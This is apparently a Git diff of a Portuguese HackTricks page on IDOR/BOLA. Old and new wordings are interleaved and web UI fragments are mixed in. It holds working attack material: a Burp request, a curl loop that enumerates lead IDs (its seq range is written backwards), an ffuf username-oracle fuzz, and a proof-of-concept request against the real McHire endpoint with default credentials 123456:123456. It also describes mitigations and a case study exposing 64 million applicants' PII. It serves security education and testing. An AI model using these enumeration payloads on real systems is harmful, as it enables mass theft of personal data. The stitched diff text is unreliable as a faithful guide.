* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. Prefira endpoints que **leem ou atualizam** dados (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Observe quando os identificadores são **sequenciais ou previsíveis** – se seu ID é `64185742`, então `64185741` provavelmente existe.
|
||||
4. Explore fluxos ocultos ou alternativos (por exemplo, *"membros da equipe Paradox"* link em páginas de login) que podem expor APIs extras.
|
||||
5. Use uma **sessão autenticada de baixo privilégio** e mude apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização é geralmente um sinal de IDOR.
|
||||
3. Repare quando os identificadores são **sequenciais ou previsíveis** – se seu ID é `64185742`, então `64185741` provavelmente existe.
|
||||
4. Explore fluxos ocultos ou alternativos (p.ex. link *"Paradox team members"* em páginas de login) que podem expor APIs extras.
|
||||
5. Use uma **sessão autenticada de baixo privilégio** e altere apenas o ID **mantendo o mesmo token/cookie**. A ausência de um erro de autorização geralmente é um sinal de IDOR.
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
### Manipulação manual rápida (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -26,7 +26,7 @@ Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Enumeração automatizada (Burp Intruder / loop curl)
|
||||
### Enumeração automatizada (Burp Intruder / curl loop)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
@ -35,16 +35,33 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Estudo de Caso do Mundo Real – Plataforma de Chatbot McHire (2025)
|
||||
### Oracle de resposta de erro para enumeração de usuário/arquivo
|
||||
|
||||
Durante uma avaliação do portal de recrutamento **McHire** alimentado por Paradox.ai, o seguinte IDOR foi descoberto:
|
||||
Quando um endpoint de download aceita tanto um username quanto um filename (por exemplo `/view.php?username=<u>&file=<f>`), diferenças sutis nas mensagens de erro frequentemente criam um oracle:
|
||||
|
||||
- Username inexistente → "User not found"
|
||||
- Filename inválido mas extension válida → "File does not exist" (às vezes também lista arquivos disponíveis)
|
||||
- Extension inválida → validation error
|
||||
|
||||
Com qualquer sessão autenticada, você pode fuzzar o parâmetro username enquanto mantém um filename benigno e filtrar pela string "user not found" para descobrir usuários válidos:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
Uma vez identificados nomes de usuário válidos, solicite arquivos específicos diretamente (por exemplo, `/view.php?username=amanda&file=privacy.odt`). Esse padrão frequentemente leva à divulgação não autorizada de documentos de outros usuários e credential leakage.
|
||||
|
||||
---
|
||||
## 2. Estudo de Caso do Mundo Real – Plataforma Chatbot McHire (2025)
|
||||
|
||||
Durante uma avaliação do portal de recrutamento **McHire**, alimentado por Paradox.ai, o seguinte IDOR foi descoberto:
|
||||
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Autorização: cookie de sessão do usuário para **qualquer** conta de teste de restaurante
|
||||
* Parâmetro do corpo: `{"lead_id": N}` – identificador numérico **sequencial** de 8 dígitos
|
||||
* Authorization: user session cookie para **qualquer** conta de teste de restaurante
|
||||
* Body parameter: `{"lead_id": N}` – identificador numérico de 8 dígitos, **sequencial**
|
||||
|
||||
Ao diminuir `lead_id`, o testador recuperou PII **completa** de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** de consumidor que permitia o sequestro de sessão. A enumeração do intervalo `1 – 64,185,742` expôs aproximadamente **64 milhões** de registros.
|
||||
Ao diminuir `lead_id` o testador recuperou a **PII** completa de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um **JWT** de consumidor que permitiu session hijacking. A enumeração do intervalo `1 – 64,185,742` expôs aproximadamente **64 milhões** de registros.
|
||||
|
||||
Requisição de Prova de Conceito:
|
||||
```bash
|
||||
@ -52,32 +69,35 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combined with **credenciais de administrador padrão** (`123456:123456`) que concediam acesso à conta de teste, a vulnerabilidade resultou em uma violação de dados crítica em toda a empresa.
|
||||
Combinada com **default admin credentials** (`123456:123456`) que concederam acesso à conta de teste, a vulnerabilidade resultou em uma violação crítica de dados em toda a empresa.
|
||||
|
||||
---
|
||||
## 3. Impacto do IDOR / BOLA
|
||||
* Escalação horizontal – ler/atualizar/excluir dados de **outros usuários**.
|
||||
* Escalação vertical – usuário com baixo privilégio ganha funcionalidade exclusiva de administrador.
|
||||
* Violação de dados em massa se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
|
||||
## 3. Impacto de IDOR / BOLA
|
||||
* Escalada horizontal – ler/atualizar/deletar dados de **outros usuários’**.
|
||||
* Escalada vertical – usuário com baixos privilégios obtém funcionalidade restrita a admin.
|
||||
* Violação massiva de dados se os identificadores forem sequenciais (ex.: IDs de candidatos, faturas).
|
||||
* Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.
|
||||
|
||||
---
|
||||
## 4. Mitigações & Melhores Práticas
|
||||
1. **Impor autorização em nível de objeto** em cada solicitação (`user_id == session.user`).
|
||||
2. Preferir **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais.
|
||||
3. Realizar autorização **do lado do servidor**, nunca confiar em campos de formulário ocultos ou controles de UI.
|
||||
4. Implementar verificações de **RBAC / ABAC** em um middleware central.
|
||||
5. Adicionar **limitação de taxa e registro** para detectar enumeração de IDs.
|
||||
6. Testar a segurança de cada novo endpoint (unitário, integração e DAST).
|
||||
## 4. Mitigações & Boas Práticas
|
||||
1. **Implemente autorização ao nível do objeto** em cada requisição (`user_id == session.user`).
|
||||
2. Prefira **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais.
|
||||
3. Realize a autorização **no servidor**, nunca confie em campos de formulário ocultos ou controles de UI.
|
||||
4. Implemente verificações **RBAC / ABAC** em um middleware central.
|
||||
5. Adicione **rate-limiting & logging** para detectar enumeração de IDs.
|
||||
6. Teste de segurança todo novo endpoint (testes unitários, de integração e DAST).
|
||||
|
||||
---
|
||||
## 5. Ferramentas
|
||||
* **Extensões do BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Projetos do Github**: `bwapp-idor-scanner`, `Blindy` (caça IDOR em massa).
|
||||
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
|
||||
|
||||
|
||||
|
||||
## Referências
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user